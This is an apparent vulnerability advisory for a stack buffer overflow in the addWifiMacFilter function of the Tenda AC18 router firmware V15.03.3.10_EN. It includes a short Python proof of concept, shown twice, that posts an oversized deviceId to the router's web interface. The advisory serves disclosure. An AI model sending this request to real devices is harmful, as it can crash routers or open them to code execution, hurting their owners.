Overview

Tenda AC18 V15.03.3.10_EN

Affected version

Tenda AC18 V15.03.3.10_EN

Vulnerability details

The Tenda AC18 V15.03.3.10_EN has a stack overflow vulnerability located in the addWifiMacFilter function.The device_id variable receives the deviceId parameter from a POST request and is later assigned to the nptr variable. However, since the user has control over the input of deviceId, the statement sprintf(nptr, "%s;%d;%s", v11, 1, device_id); leads to a buffer overflow. There is no size check, so the user-provided device_id  can exceed the allocated size of the nptr array (256 bytes), thus triggering this security vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

Untitled

PoC

# addWifiMacFilter_1

import requests

ip = '192.168.0.100:80'

url = f"http://{ip}/goform/addWifiMacFilter"

data = {"deviceId":"a"*999, "deviceMac": 1}

ret = requests.post(url, data)

Untitled

Additional Information

###Product_version
Tenda AC18 
V15.03.3.10_EN

###Affected_component
the "addWifiMacFilter" function of /bin/httpd; /bin/httpd

###Attack_vector
use a simple exp to attack, like this:
#python3
import requests
ip = '192.168.0.100:80'
url = f"http://{ip}/goform/addWifiMacFilter"
data = {"deviceId":"a"*999, "deviceMac": 1}
ret = requests.post(url, data)

###Discription
Tenda AC18 V15.03.3.10_EN was discovered to contain a stack-based buffer overflow vulnerability via the deviceId parameter at ip/goform/addWifiMacFilter.

###Refernce
<https://palm-vertebra-fe9.notion.site/addWifiMacFilter_1-067fa6984f0d4933b88c63efd7486479>
<https://www.tendacn.com/hk/download/detail-3863.html>
<https://www.tendacn.com/hk/download/detail-3852.html>